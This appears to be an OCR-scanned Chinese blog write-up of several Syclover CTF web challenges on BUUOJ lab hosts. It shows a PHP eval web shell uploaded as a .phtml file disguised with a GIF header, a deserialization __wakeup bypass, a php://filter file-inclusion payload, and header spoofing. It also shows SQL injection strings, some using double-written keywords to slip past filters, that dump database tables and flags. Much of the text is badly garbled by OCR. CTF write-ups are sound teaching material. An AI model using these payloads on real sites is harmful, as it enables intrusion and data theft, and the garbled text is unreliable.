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Syclover @ clqy

BEFENL, RIWTphpfi, &EEgettt NS Hcat% Tdog, Niitiflag

D6 <Sdive

07 | </div>

08 {1—

D9 $cat=$ GET[ cat’]

10 echo fcat;

11 if ($cat=="dog )

12 echo " Sycicat_cat_cat_cat
13 I

14 —

15 <div stvle="position: absolute bottom: 0:width: 99% "»<p align="center” styvle="font:italiec 13px
16 </body>

17 | </html>

18

Payload: ?cat=dog
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Ha BRI, BEIEW, KIT secret.php

\section la- pamner
<div class=" inner™>
<h2>Syclover(/h2>
CpYHi Hackerscbr />
Hers is the secret website <br /> of the Syclover <br />
fdiv>
<a href="fione” class="more scrolly”’Learn Nore</a>
</section>

-
<section id="me’ class="wrapper stylel special”>
{diw class="inner”
¢header class="najor
<hz>¢&%§ljﬁﬁ%rjtx¥’ﬁ | <br /o
H&yi}ﬁvﬁiﬁ (Syclover) </h2>
<AB|EBEETRAIL, FRET— s ! b 1
—Hﬁiﬁ}ﬁﬁvﬁfﬁ (Syclover) SFiFEEHFNERANNE bx />
Syclover2015{AEREE : BT1301484¢/p>
</header>
<ul class="icans major">
i icon fa-diamond major stylel”>(span class="label”SLoren</span></span></1i>
icon fa-heart—o major style2”>(span class="label”>Ipsun¢/span></span></1i>
<li>span class="icen fa—code major stylel >(span class="label >Dolor</span></span></1i>

<l
<fdiv>
</section)
<l— Two —>
{section id="two” class="wrapper alt styleZ”>
{section class="spotlizht™
div class="inazs">(img sroc="images/nicOl. ine” alt="" />/div>(div class="sontent™>
<h2>-METE </ h2>
<p> - FfisE 8] 20056 3Fbx /><|.x 5
. o BB ] 2, B, LTEftEE. Baie, seeRR . RO RRAER e A Dby />
MAFIRE : B FAE *jj%iﬁ]ﬁﬂj}ﬁﬁr,z? NHAERERRER., hANEREFSE— MRIFMEET S style="border inone cursor idefault;” onclick="return false” href="Secret.php >FE</a>! </p>
i
{/section>
</section)
{script assets/jz/jquery. min. js">(/seript>
{script assets/js/iquery. scrollex. min. 5" ></sexipt>
{script asse(s/]s_/)q ueT Y. scxullg min. ]s > fsexiptd>
{script
(sl::()pt

<scr)pt s¥
‘footer id=footer'>

<ul elass="copyright”
Cidbcops 5yclover(/11)(11)Des1gn Cly</1i>
ful>
</Eaoter>
<fbody>
</html>

j i Secret.php, W7~ doesn’t come from ‘hitps://mww.Sycsecret.com’, FITR;tH A K —E AL, FEBIGER K

136-3032W1-00067-5




it Pk (referer), {3 Fburpsuited, #ERLINA Referer:https://www.Sycsecret.com, KI T HiERPlease use “Syclover’
browser

Go | <lv|

Raw | Headers | Hex

Raw | Headers | Hex | HTML | Render

Target: http://node3.buuoj.cn:27

3ET /Secret.php HTTR/11

ost: node3.buuoj.cn27630

JserAgent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; :84.0) Gecko/20100101 Firefox/84.0
Accept: text/html html+xm, ! 2. P
Sccept-Language: zh-CN,zh;q=0.8 zh-TW,q=0.7,2h-HK: g=0.5 n-US: g=0.3 eniq=
Accept-Encoding: gzip, deflate

Zannection: close

Referer: https:/fwww. Sycsecret com

Jpgrade-insecure-Requests: 1

Zache-Control: max-age=0

P o ¥ 3% (UA), ¥User-AgentfIMEEECHN Syclover , X

Go | <v‘

Raw | Headers | Hex

Please use "Syclover" browser

R A7 17

Raw | Headers | Hex | HTML | Render

Target: http:/inode3.buuoj.cn:27630 | 4

=T /Secret. php HTTP/.1

ist: node3 buucj.cn 27630

er-Agent: Syclover

cept: text/htm app I ml:q=0.9 P 0=0.8
cept-Language: zh-CN,zh;q=0.8 zh-TW:q=0.7 zh-HK: g=0.5 &n-US; 0=0.3,en:q=0.2
ceptEncoding: gzip, deflate

innection: close

forerhttps://www. Sycsecret.com
\grade-Insecure-Requests: 1
iche-Control: max-age=0

Py A Hh(X-Forwarded-For), #k%E7E1%E R L¥ N X-Forwarded-For: 127.0.0.1, flagitik T

Burp Intruder Repeater Window Help

Target | Provy | Spider | Scanner | Intruder Repeamrlsmuencar Decoder CnmparerTEmmerTijectnmmnsTUsernmmns Alerts

No!ll you can only read this locally!!!

T Youl ]

Go | <v‘

Raw [ Headers | Hex

Raw | Headers | Hex | HTML | Render

Target: htip:/inode3.buuoj.cn:27630 |

GET /Secret.php HTTR/1.1

Host: node3. buuoj.cn:27630

User-Agent: Syclover

Accept: text/html,appl I, app 19=0.9, P08
Accept-Language: zh-CN,zh;q=0.8 zh-TW, g=0.7 zh-HK,q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encading: gzip, deflate

Connection: closs

Refererhttps:/fwww. Sycsecret.com
X Forwarded-For. 127.0.0.1
Upgrade-Insecure-Requests: |
Cache-Contral: max-age=0

p{

cursor: default;
3

put{

border: 1px solid #cec;

padding: 7px Opx;

border-radius: 3px;

padding leftSpx;

-webkithox-shadow: inset 0 1px 1px rgba(0,0,0,.075);

box-shadow: inset 0 1px 1px rgha(0,0,0,.075);

-webkittransition: border-color ease in-out .15s, webkit box shadow ease-in-out .15s;

-out .15s,boxshadow ease-in-out .15s;

transition: border-color ease.in-out .15s,box shadow ease in-out .15s

-o-transition: border-color ease.it

.input:hover{
border-color: #808000;
haw.chadaw: Nny finy R 47 CECAN-



<istyle>

<title>SycSeeret</iitle>
<Ihead>
<body

png" style=" peatno-repeat ; 100% 100%; fixed” >

<Ibr> </br></br></br> <fbr> </br></br> <fbr> <br></br></br> </brs
<1 style="font-family: arial;color #8E44AD;font-siz:50px:text-align: center:font family: KaiTi,">
flag{f6ed2fd1-add7 48d7 cBc-80eeBB133act)

<Int>
<div style="position: ab
</body>

<Ihtmi>

te;bottom: O width: 93%;"><p align="center" style="font:talic 15px Georgia serif, colorwhite;"> Syclover @ cly</p></div>

L

[% % K $k &% 2019]upload



LA4£1.php

hitps://blog.csdn.net/gg_46150940

LEE A S1.jpg

https://blog.csdn.net/qq_46150940

XphpHI WA BT 7108, H &lt; RB—AEARDRER <, b1

https://blog.csdn.net/qq_46150940

HITBLRGE, @it LEAZRIEKphpy ERSGET BE A 8. Flan: pht, phpt, phtml, php3, php4, php5, php6




1. jogBE A1 . phtml, FHHIE—AEARDE RN <script language="php">eval($_POST[ 'shell']);</script> F Ef%.

————————————————————————————— 39567520533129988809322364 1668
Content-Disposition: form-data; name="file"; filename="1phtm| "
Content-Type: image/jpeq

<script language="php"=eval($_POST['shell]);</script>
39567520533 129988809322364 1668

VIR AAT

BJGVRIN GIF89a , GIF89al F kX1 #k ¥, Rizh_EtEshell

GIF89a

script language script



l Forward J l Drop J [ Intercept is on ] Action

_[ Raw T Params T Headers T Hex 1

POST fupload_file.php HTTP/1.1

Host: cfdeal12-1736-40ca-88c4-2a0dfb404b17 . node3. buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html application/xhtml+xml application/xml; =09 imagefwebp */*, q=0.8
Accept-Language: zh-CM zh;q=0.8,zh-TW;q=0.7 ,zh-HIK;q=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=----------------eeeeee- 3370842112118589977 141511700844
Content-Length: 374

Origin: hitp:/fcfdeal 12-1736-40ca-868c4-2a0dfb404b17 .node3. buuoj.cn

Connection: close

Referer: http://cfdeal 12-1736-40ca-88c4-2a0db404b17 .node3. buuoj.cnf
Upgrade-Insecure-Requests: 1

————————————————————————————— 337084211211559977141511700844
Content-Disposition: form-data; name="file"; filename="1.phtml"
Content-Type: image/jpeg

GIF89a

<script language="php">eval(§_POST['shell);</script=
F084211211559977 141511700844
‘m-data; name="submit"

11211559977 141511700844--

M _E4£#42 M upload, B url/upload/1.phtml
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OFm | AS&E | @Mk
R=EUTE (0]

M &k -Ox

© Fin X ET O EE

B i S v

URLi4E = ‘http:ffcf4eall2—1736—4[]ca—8804—2a0dﬂ)4[]4b17.nudeB.buuuj.l:nfupluadfl.‘

EEEE © shel |

PREEE |
H@EE  UTFe [v]
EEAM pup [v]

e
) default (7HEF)
) random ((T-HEFF)

(=) baseb4

o

blog.csdn.net/gg_46150940

1E H ® & #Kflag

« == 0111.73.46.229

M &i5: /flag

[flag SR EER v WFf

1 flag{foab6Pef-82dl-4ecf-87ec-754a18da5024}
2

[1% % X 3k 4% 2019]PHP



U i) $EALH hE

B Ay AR AR AR A A ALK, T AR — S RAT 8 &4 B 5k 69 3 I
FRAK! V!

BB T &M, BB Rwww.zip3CHE, flag.php BEA AR Kiflag

flag.php

'Syc{dog_dog_dog_dog}"';

log.csdn.net/gq_46150940

#E— TFindexphp, KHERgeti RILZSH select

) index.php

'y
v

DN N NN
ALY I IR FYR N}

id="world">
< style="text-shadow:@px-@ Spx;font-family:arial;color:black;font-size:2@px;position: -absolute;bottom: -85%; Lef
sfont-family:KaiTi; " >EANERMEHETER LI, FAUEE —DRIFNSHMIGH>H
</ >

< style="text-shadow:@px-@ Spx;font-family:arial;color:black;font-size:2@px;position: -absolute;bottom: -88%; Lef|
;font-family:KaiTi;" >Rk ! |

</ >

< style="text-shadow:8px @ S5px;font-family:arial;color:black;font-size:2@px;position: -absolute;bottom: -78%;Lef|
;font-family:KaiTi;">

<?php

‘class.php’;
$select $_GET[ 'select'];
$res-unserialize(“$select);
P>
</ >
< style="position: -absolute;bottom: -5%;width: -99%;"><p-align="center" -style="font:italic-15px-Georgia,serif;colo
">-Syclover-@-cldy</p></ >

5 https:/blog.csdn.net/qq_46150940

BEE class.php XM, BERFILMPINEERE  wakeup M destruct



5
error_reporting(9);
class Name{

private $username

private $password

public function _ construct($username, $password){
$this->username $username;
$this->password $password;
)i
function _ wakeup(){
$this->username
)i
function _ destruct(){
if ($this->password 100) {
echo
echo ;
echo $this->username;echo
echo ;
echo $this->password;echo
die();
)i
if ($this->username
global $flag;
echo $flag;
}else{
echo
die();

Hit— TR, W password=100H username=admin, ZEHAT _ destruct() HIRHE A LAZKEflag

&P 5L

private $username
private $password
s
$a new Name();
echo serialize($a);
?>

FroUALJE 4 R -




@l Lload URL [ http://d9e2c950-3482-4374-a854-52344975efc6.node3.buuoj.cn
R split URL ?select=0:4:"Name":2:{s:14:"Name username”;s:5:"admin”;s:14:"Name password';s:S:'100';}|

j) Execute

] Postdata [ ] Referrer 4 OxHEX ™» &% %URL ¥» &% BASE64 I ‘inser{sm'ng to rep!ace| |Inser{rep:’acfng string Replace All D

D2~ KcCookies » Css L=t @EK~ OREES~ Q= Fmor JEie ATS- MESRAEY | s
H ~ Servicesr

HsKRAN? Gince: New Site Rank: - Site Report HIll [CN] CHINANET JIANGXI PROVINCE NETWORK

BMEGE _ wakeup XANMEAREEL, FARFPFINRR, HFFINERE PRI G BENSER T E LB EA B &5
T wakeup HIBAT

W LTSGR T8, PR/ K23,
D:4:"Name”:3:{s:14: "Name username;s:5:"adnin’;s:14: "Name password"js:3:"%00%} |

@l Load URL [ hitp:y//d9e2c950-3482-4374-a854-52344975efc6.node3 buuoj.cn
&a Split URL ?select:0:4:'Name':3l:{s:14:'hlame username”;s:5:"admin";s:14:"Name password";s:3:"100";}

‘!) Execute

] Postdata [ Referrer 4 OxHEX ¥» @% %URL ¥» % BAS[64 I |inserf string to repface‘ |;’nsenrepfacmg string| [~] Replace All 3 | D
Q;:mv A Cookies~ o cssv [l @EA~ @RmES- Hetthas Amty Sair ATS WMESEREY 1SR
H ~ Servicesw | mmkRaling

(e Since: New Site Rank: - Site Report Elll [CN] CHINANET JIANGXI PROVINCE NETWORK

private FHHTEANRE TR, REFERKRFAIR, FiZRKTRMZREN RLEFIATR. BEFROTREHE
FEIALES, RAMFBAREASN LOKMEIS. F/FHKE B EFENaTRNKE



HRBEFIIMRIER

0:4:"Name" :3:{s:14:"%00Name%0@0username";s:5:"admi

§ Load URL 4http://d992c950—3482743747a854—52344975efc6.mode3‘buuoj.cm
Split URL ?select:0:4:”Name":3:{s:I4:“%0(}Name%00username";5:5:"admm';s:‘\4:"%ODName%OOpassword":s:S:'100":}|

Execute

AN
[] postdata [] Referrer 4 OxHEX 2 &% %URL ¥ &% BASEG4 I ‘ H ] Replace All 38 =,

Y~ KCookies™ 2 €SS~ =2~ @EK~ ONREE- HEmhas Jmic B ATE~ WEEFRB [LEmE-
PETCRAFT - Servicess | meiieii Since: New Site Rank: - Site Report HIll [CN] CHINANET JIANGXI PROVINCE NETWORK

) A B AR R A A A B LB, BT ASE — A RAT Y &y P 5b Y 3) BT
AR !

flag [83e19e52-F507-4c52-bdcd-76544757F2aa}

V7 I EE ML bk

Syclover @ elqy




R ET, BEEEFFEMRLY, RILT Archive room.php

hl style="font—fami rcolo : SIVIEE: ok: ? </h1><br><br><br>

1 Al Archive_room.php

SECRET

Syclover @ clgy https://blog.csdn.net/qq_46150940

RIFSECRET, W BEHEAL? BEBFHEEIE,




er @ clqy

{f FiBurpsuite¥ &, KIL T secr3t.php

WA DU SUILS T IGISO3ILIEE V130 © ISHIPUIGEHY THUJSULL © HUSHA0U LU 3G Ay L

Burp Intruder Repeater Window Help

|‘ Target T I Spider T Scanner T Intruder T Repeater I Sequencer I Decoder I Comparer T Extender T Project options I User options IA\erts l

| Go | | Follow redirection | Target: h

Raw | Headers IE] Raw | Headers IEI HTML TRender ]

SET faction.php HTTP/1.1 PA HTTP/1.1 302 Found

Host: 26571 aB0b-4c06-bB3f-210a820896f. node3. buuoj.cn Server: openresty

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinE4; x64; rv:84.0) Geckao/20100101 Firefox/84.0 Date: Sun, 17 Jan 2021 09:59:15 GMT
Accept: text/html application/xhtml+xml applicationfxml Content-Type: text/html; charset=UTF-8
Accept-Language: zh-CN zh;q=0.8,zh-TW;q=0.7 zh-HK;g=0.5 ,en-US; Content-Length: 63

Accept-Encoding: p, deflate Connection: close

Qeferer. http: /25978003 a80hb-4c06-hE3f-210a820896. node3. buucj. cnfArchive_room.php Location: end.php

Connection: close X-Powered-By: PHP/7.3.11

Jpgrade-Insecure-Requests: 1
Cache-Control: max-age=0

<htmlz

</html>

P secr3tphp, WAA



html
title>secret</title
meta charset
<?php
highlight file(__FILE_);
error_reporting(9);
$file=$ GET[ 1;
if(strstr($file, )| |stristr($file, )| |stristr($file, )| |stristr($file,
echo :
exit();
b
include($file);

fFfEinculde R %, 72 M B0 & R B

Payload:?file=flag.php

1/ t1agITE T flag. php R

https://blog.csdn.net/qq_46150940

HHRRS, KILEIE T data, input, ftp&F kiR &AL g ile

Payload: ?file=php://filter/convert.base64-encode/resource=flag.php




<« C A A%z | 2597800a-a80b-4c06-b83f-210a820896f0.node3.buuoj.cn/secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php

<html>
<titledsecret</title>
<meta charset="UTF-3">
<{Tphp
highlight_file(_FILE_ )
error_reporting (0)
$file=$_GET[ file'];
if(strstr(§file, *.. /) | [stristr ($file, “tp”)||stristr($file, “input™) | |stristr($file, “data”)) {
echo “0Oh no!”™;
exit();

)
include (§file);

T
<fhtml>

PCFETONUWVBFIGhObWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWVOYSBjaGFyc2VOPS)1dGYtOCI+CiAgICAgICAgPHRpdGxIPKZM

¥ 5% B i Tbase64fR 2 B 1] 15 Flflag

3RpdGx1PzosICAzPCOZWFLP oK ICAZ I Dxi b 2RETHNOeW k1 PS 1 TWNrZ 3 Tw dW Sk LN hG Sy0m] sTWNrOvI +PG TyP i c J48TnI +PG JvP ixic j48Tnl+01 o
AglCAsTCAzCI AgTCASICAsPGex IHN0eWx1PS Tk 25 0LWZhbW 1 seTp 22 T TWEh0 2MvhG OvOn T 1ZDL DZXhOLWF saW duldm{l bnRl ¢ jsi PulViuWTi0+8geS
Go0aJvulIs0alkeSthutdzeVPr+afr+59o0eci +54jeW I s0alkVEBUEE +f jwvaDE+PG JvP ixilc J48Tnl Ho1Ag ICAs T CAsCI AsTCAsTCAsPHAZ c3RERGTY
ImZwbnltZof taW xE0mF yalF s02HebG9y0n 120 tob 25 0L ENpemJEN jBweDt 0ZXh0LVF sa¥ duOm1bnRl ¢ jsiPgog ICAg ICAg ICAg TCABP 3Bochng ICAR T
ChgICAzICAzICA=ZWNobvAL Dol REbCx vl +26T el 1sEICAs ICAz IC A ICAs ICAZ ICRILCFnI D0z T2ZsTWATHER INTE2N T MD: 2101 00ZD0wL.T1 306
E+tNDMINTUwY TY 2N i c0fS5cTliAgICAg T Az ICAgICAZICAK AV JemV 0ID 02 ] 2ppW 5N 0x 1eXVhb 1 9506500 19K e x ekl memb zbmnCiAg TC Az TCAZ TCA
g DR+C 1A TCAsTCAsPCO9%Fzoz ICAsPCOi b 2REF2okPCY90d5 1sPe0= M

B= || = || g | DRmasleHaT

<p style="font-family:arial;color:red font-size:20px;text-align:center;”>
<7php
echo “HRERE";
$flag = " flag [3dc11315-0966-4040-9cBa-435152a06674) 7 ;

et = jifng Luyuan widnts_a_glrIfrisnd

=



SYCLOVER

HlI HACKERS
HERE IS THE SECRET WEBSITE
OF THE SYCLOVER

LEARN MORE

N%

R A S A FIPAYFLKAGHEE Apay.php, FEJRRSH &I T #82-HA5

post money password
isset($_POST
$password $ POST

is_numeric($password

$password 404




FEBETPOSTH Rt N3 EpasswordifE, His_numeric() B £fR#] T & $password NREANEER, B NFELDL
& $password T 404, FHRAILT, FFHpassword =404a #1758

Go Cancel <|v > | Target: http://94436364-d212-4098-998d-a7:
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET /pay php HTTF/1.1 [ <iheader>
Host: 94436364-d212-4098-998d-a7 4922431 cee node3. buuoj.cn <section class="wrapper style5">
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinG4; x64; nv:84.0) Gecko/20100101 Firefox/34.0 <div class="inner">
Accept: text/html | mle=039, =08
Accept-Language: zh-CM zh;q=0.8,zh-TW;¢=0.7 zh-HK;4=0.5 en-US;q=0.3 &n;q=0.2 <h3=>attention</h3>
Accept-Encoding: gzip, deflate <p>If you want to buy the FLAG:</br>
Connection: close You must be a student from CUIT!!</br>
Cookie: user=0| You must be answer the correct password!!!
Upgrade-Insecure-Requests: 1
Content-Length: 15

<fp>

password = 404a <hr f>

Only Cuit's students can buy the FLAG<i'h|>
<fp>

<hri>

</div>
</section>
</article>

<l-- Footer >
<footer id="footer">

<ul class="copyright">
<li>&copy; Syclover</li><li>Design: Cly</li>
</ul>
<ffocter>

<fdiv>
<I-- Scripts >

<script sre="assetsfs/jquery. min.js"></script>
<script sre

assets/js/jquery scrollex. min js"></script>
<script sre="assetsfs/jquery. scrolly. min.js"></script>

W E#R~O0nly Cuit's students can buy the FLAG, & CookiefIfE, i Auser=1

Go Cancel <|v > | Target: http://94436364-d212-4098-

Request Response
Raw [ Params | Headers | Hex Raw [ Headers | Hex | HTML | Render
GET /pay.php HTTP/1.1 .A
Host: 94436364-d212-4098-998d-a7 4922491 cee.node3. buuoj.cn <l Mairy >
User-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; n84.0) Gecko/20100101 Firefox/84.0 <article id="main">
Accept: text/html application/xhtml+xml applicationfxml: g=0.9 imagehwebp */* 4=0.8 <header>
Accept-Language: zh-CN zh: g=0.8,zh-TW:q=0.7 zh-HK g=0.5 en-US; q=0.3,en;q=0.2 <h2>Flag</h2s

Accept-Encoding: gzip, deflate
Connection: close

Cookie: user=1
Upgrade-Insecure-Requests: 1
Content-Length: 15

<p>Flag need your 100000000 money</p>

</header>

<section class="wrapper sty,
<div class="inner">

passward = 404a <p>If you wint to buy the FLAG:</br>
st be a student from CUIT!!</br>
ust be answer the correct password!!!

<ip>
<hr f>

<p>
|ynu are Cuiter</o>Please input your password!! |
B

<hr f>

<ldiv>
<fsection>
<farticle>

<l-- Footer -->
<footer id="footer">

<ul class="copyright">
<li>&copy; Syclover</li><li>Design: Cly</li>
<ful>
<ffacter>

A LABEN, $E7~Flag need your 100000000 money, £\ money=100000000 , KM TEELEE . & TEHESHN, phpfigH
127 A hpost, HHBIMPOSTL{ER: Content-Type: application/x-www-form-urlencoded

Go Cancel < |v > | Target: http://94436364-d212-4098-998d-a74922491cee.node3.buuoj.cn
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML I Render ]
FPOST fpay.php HTTP/.1 A <p=If you want to buy the FLAG:</br>

You must be a student from CUIT!!</hr>
You must be answer the correct password!!!




Accept: text/html application/xhtml+xml application/xml;g=0.9 imagefwebp **,q=0.6
Accept-Language: zh-CN,zh; =0.8,zh-TW, =0.7 ,zh-HK;q=0.5 en-US;q=0.3 en;q=0.2

éontent-Type: application/x-www-form-urlencoded I

Connection: close

Cookie: user=1
Upgrade-Insecure-Requests: 1
Content-Length: 29

password=404almoney=100000000

<p=
<hr >
<p>
you are Cuiter</br=Please input your password!!
</p=
<hr (>
</div=
</section>

<farticle>

<l-- Footer --=
<footer id="footer">

<ul class="copyright">
<li=&copy; Syclover</li=<li=Design: Cy</li>
<ful>
</footers

<fdiv>

<l-- Scrpts >

f£ N\ password=404a&money=100000000 , #E;~xNember lenth is too long

Go Cancel < |v > |

Request

J RawT Params I Headers | Hex

Target: http://94436364-d212-4098-998d-a74922491cee

Response

J RawT Headers | Hex | HTML I Render ]

20ST fpay.php HTTP/1.1

dost: 94436364-d212-4098-998d-a7 4922491 cee.node3. buuoj.cn

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; WinB4; x64; nv84.0) Gecko/20100101
“irefox/84.0

Sccept: text/html application/xhtmil+xml application/sml; q=0.9 imagefwebp **q=0.8
Sccept-Language: zh-CN zh;q=0.8 zh-TW;q=0.7 ,zh-HK; q=0.5 en-US;¢=0.3 en;q=0.2
Sccept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Zonnection: close

Cookie: user=1

Jpgrade-Insecure-Requests: 1

Zontent-Length: 29

rassword=404a&money=100000000

i HTTR/1.1 200 OK
Server: openrasty
Date: Tue, 19 Jan 2021 10:16:58 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2477
Connection: close
X-Fowered-By: PHP/5.3.3

<IDOCTYPE HTINg>

<html>

<head=
<title>Buy You Flag</titl=>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<I-[if lte IE 8]=<scrpt src="assets/js/le/htmlSshiv. js"></script=<l[endf]-->
<link rel="stylesheet" href="assets/css/main.css" />
<I-[if fte [E 8]><link rel="stylesheet" href="assets/css/ie8.css" /><[endf]
<I-[if lte I1E 9]=<link rel="stylesheet"

</head>

<hody>

href="assets/css/ied. css" /=< [endlf]

<I-- Page Wrapper --»
<div id="page-wrapper"=

<l-- Header --»

headar id="haadar -

FZIRAPHPARREMNBOLERF, R BIE money=1e9 G2t

Go Cancel <|v > |

Request

Raw | Params | Headers | Hex

Target: http://94436364-d212-4098-998d-a74922491cee.node3.buuoj.cn

Response

Raw | Headers | Hex HTML]'Render}

2OST Jpay.php HTTR/M A

ost: 94436364-d212-4098-998d-a7 4922491 cee.node3 buuoj.cn

Jser-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; nv:84.0) Gecko/20100101
-irefox/g84.0

Aecept: text/html application/xhtml+xml application/xml;q=0.9 image/webp *™*;q=0.8
Accept-Language: zh-CM zh;g=0.8,zh-TW,q=0.7 zh-HK;g=0.5 en-US;4=0.3 en;g=0.2
Sccept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Connection: close

Cookie: user=1

Jpgrade-Insecure-Requests: 1

Content-Length: 23

sassword=404a&maney=1 99|

IS

<article id="main">
<header>
<h2=Flag=</h2=>
<p=Flag need your 100000000 money</p>
</header>
<section class="wrapper style5">
<div class="inner">

<h3>attention</h3>

<p=If you want to buy the FLAG:</lir=
You must be a student from CUIT!!!</br>
You must be answer the correct password!!!

</p=



<hr />
| <p=
~ you are Cuiter</br>Password Right!</br>flag{f5df86cb 4a3h-4b29 8764 hclca25c1dIe}
<fbr=
</p=

<hr [>
</div=

</section=

<I-- Footer --»
<footer id="footer">

<ul clags="copyright">

[#% & K Pk ak 2019]EasySQL



[

U5 18] R hk

#HAcldy, £—AWEBF XA/ R, REKMKT —APEE, BREFECH SHEN]

SRS

Syclover @ clay https:/iblog.csdn.net/qq_46150940

X EH RSB ER, REEROHA 2D
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Syclover @ clqy

https.//blog.csdn.net/qq_46150940




RIRSTEEEM 1 or 1=1# FF

hitps://blog.csdn.net/qq_46150940

BRI, B3flag

4727 -EébaB 9537d41 f53e8}

hitps:/blog.csdn.net/gq_46150940

AARTILA R R, ST RGP T Za g, RMNEEgEase! ||




2L
=

Payload:

T

Syclover @ clqy
1. TRERRGEN
L

R 1t or 1=1 #, WEEAPEAFESor, orfd ik

hitps:iblog.csdn.netiqq_46150940

You have an error in your SQL syntax; check.the-manual that‘correspon'ds to your MaﬁabB server version for the right syntax to use near '1=1 #' and password="123456" at line 1

s
AXEor:

‘ ﬁ https:/blog.csdn.net/qq_46150940
1' oorr 1=1 #, WA, NMEEWNEST

'y Hefloradmin®
Your passwerdiisbaa702851eb2d7e923f123ce10c7d7c8'

hitps://blog.csdn.net/qq_46150940

Pusername=admin&password=1%27 union select 1 %23




WA R R RRE T 1# i unionfllselect# # i

=R R

Syclover @ clgy https:/blog.csdn.netiqq_46150940

W Eunionfliselect, Zk&EVEAN

Payload: ?username=admin&password=1 %27 ununionion seselectlect 1 %23

FENB, EIRETE R & FRINFIEA X

- - : m
- TR 5 B R

Syelover @ clay hitps:/fblog.csdn.net/oq_46150940

Hk 82 #) i payload:

Pusername=admin&password=1%27 ununionion seselectlect 1,2,3 %23




RIVENBS, FBONS

=
0 24+

Your password is '3’

Syclover @ clqy
https://blog.csdn.net/qq_46150940

3 BN

Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,database() %23

IR B 241 44 geek

hitps://blog.csdn.net/qg_46150940

BERAES




Payload:

?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom
(infoorrmation_schema.schemata) %23

BET AL ACHIBIEE, flaghZfEiX

Payload: ?username=admin&password=1%27 ununi on seselectlect 1,2,group_concat(table_name)frfromom(infoorrmatiol

n_schema.tables)whwhereere table schema 23



RIT —A~4 AFlaghiR

Syclover @ c
Y @clgy hittps://blog.csdn.net/qgg_46150940

Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrma
tion_schema.columns) whwhereere table name 23

— 1 L

o

P E A

N

ﬁuﬁss@ Fhag

Syclover @ clqy httpsiiblog.csdn.net/aq_46150940

Payload: ?username=admin&password=1%27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag)%23




5 Fflag

/49053e5df}’

Syclover @ clay csdn.net/qq_46150940




EEEANOEE, BRI ABRKKI T KT ag, kKRB ECNMET RAHT, F7F]

pemLLtel

Syclover @ clay

https:/blog.csdn.netigg_46150940

ZRMEA AR EL G R, B3 E] T check.php i, 432 T H - & MEG

1eb99cd25.node3.buuoj.cn/check php?username=admind

ssword= 7+or+1%3

- Hﬁﬂo admink
Your passwerd:is3d89aco1ed7283e5fb768010e6b0cb09'
| i_/\ ¥ 5

o

rEsdn.netlqg_46150940

1R B

FEE:

HNFER 4, bR R %23

usernamefpassword &R o] LAVEN, FAE FHusernamelE RTEN &




username=1"' order by 1%23&password=123456

p

& Load URL [ http://3e257969-68e5-43a2-9e31-222deb99cd25.node3.buuoj.cn/check.php
| splitURL ?username=admin ' order by 1%238password=123456
b Execute

A\
[] Postdata [ Referrer 4 OxHEX 3 &% %URL ¥» &% BASE64 I

Replace All 3 | ™

By KCookiesw » CSSv (==~ @EA~ @NmEE~ @il Jimcy S Egr ATS MEESRAE- [1sh
BETCRAFT - Services- | LiEXNE Gince: New Site Rank: - Site Report Bl [CN] CHINANET JIANGXI PROVINCE NETWORK

min! S .
¥pdssord i473d89ac51ed7283e

LHE AR IREE, YB3

Payload: ?username=1
order by 4%23&password=123456

Unknown column ‘4" in 'order clause’

2.1 Bl AL

Payload: ?username=1' union select 1,2,3%23&password=123456




WA EE, [EE A H253

' aidefloghy
’ _Your passward is '3'

Ex %

P LTl

3R AR AR A

Payload: ?username=1' union select 1,database(),version()%23&password=123456

75 3 24 5 $0IE B 4 R geek, HR4<510.3.18-MariaDB

e

. hﬁpsjﬂﬂogix;ﬂLneﬁuc_46150940
41BRA

Payload:

username=1"' union select 1,2,group_concat(table name) from information_schema.tables where table_schem
a=database()%23&password=123456




BEIFHNBIELRS: geekuserAllOvelysq1

https://blog.csdn.net/qq_46150940

58FB
geekuser#

Payload: ?username=1

geekuser'%23&password=123456

lOve1ysq1#

Payload: ?username=1

1ovelysql'%23&password=123456

PINRE MG R R

sword ig"d,username,passw

Syclover @ clqy httpsifblog.csdn.net/qq_46150940

6. &%
geekusers®

Payload: Pusername=1' union select 1,2,group_concat(id,username,password) from geekuser’%23&password=123456




geekuser® ¥ FH # Zlflag

love1ysq1%&

Payload: ?username=1' uni select 1,2,group_concat(id,username,password) from lOvelysql’%23&password=123456

#F T flag

24cHArT2Crbiao_ge_dddd_hm. 40:CAm3) oyan_shi_fu_de_n 5. tioucsdi_5_kuai hacker, 18fiagiagiaet1 Geb1-eaba-43c7-




Ty e SE AL Ak

KESAF! KRG EHFF, MANEBFEAR ficldy, &K2php, PYTHON, mysql, SOLE i

SEIRTERRRM RO RIS hag: ' [

s AT

0
RERRAHT, XEFEEHESQLEE, RBEEA

https:/iblog.csdn.net/qq_46150940




i0a-4fdb-bda2-92e62edbe93d.node3.buuoj.cn/search.php?id=1"1

1”0

92e62edb6e93d.node3 buuoj.cn/search.php?id=140

g.csdn.netlqq_461!

Filter: Showing all items |2
Reguest | Payload Status Error Timeout | Length ¥ | Comment

0 200 g O 975 4]
2 and 200 L [ 890 N
3 ahd 200 L ] 890

